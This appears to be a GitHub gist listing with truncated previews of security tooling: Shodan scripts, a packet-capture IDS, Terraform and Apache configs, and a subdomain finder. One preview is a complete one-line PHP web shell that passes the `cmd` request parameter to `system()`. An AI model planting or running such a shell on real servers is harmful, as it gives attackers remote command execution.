Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'async' | |
require 'shodanz' | |
client = Shodanz.client.new | |
# Asynchronously stream banner info from shodan and check any | |
# IP addresses against the experimental honeypot scoring service. | |
client.streaming_api.banners do |banner| | |
if ip = banner['ip_str'] | |
Async do |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "packetgen" | |
class IDS | |
def initialize(interface: PacketGen.default_iface, &block) | |
@rules = {} | |
instance_eval &block | |
PacketGen.capture(iface: interface) do |packet| | |
@rules.each do |header, blocks| | |
next unless packet.is? header | |
blocks.each do |block| |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "packetgen" | |
class IDS | |
def initialize(interface: PacketGen.default_iface, &block) | |
@rules = {} | |
instance_eval &block | |
PacketGen.capture(iface: interface) do |packet| | |
@rules.each do |header, blocks| | |
next unless packet.is? header | |
blocks.each do |block| |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Find consul image. | |
resource "docker_image" "consul" { | |
name = "consul" | |
} | |
# Basically doing the following command: | |
# docker run -d --name=consul-server-1 -p 8500:8500 consul agent -dev -client=0.0.0.0 -bind=0.0.0.0 | |
resource "docker_container" "consul-bootstrap-server" { | |
count = 1 | |
name = "consul-server-1" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<VirtualHost *:80> | |
<Directory /> | |
Options Indexes FollowSymLinks Includes ExecCGI | |
AllowOverride All | |
Require all granted | |
Allow from all | |
</Directory> | |
<Files "*"> | |
order deny,allow |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<script src="https://cdn.rawgit.com/picatz/builderJS/8ca588fc/src/builder.js"></script> | |
</html> | |
<script> | |
// instantiate a new builder | |
var b = new Builder(); | |
// getTime() is a simple function to return the current |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"github.com/subfinder/research/core" | |
"github.com/subfinder/research/core/sources" | |
) | |
func main() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require "shodanz" | |
# create a shodanz client | |
client = Shodanz.client.new | |
# scan a host | |
result = client.rest_api.scan("8.8.8.8") | |
# save the scan result as json to a file |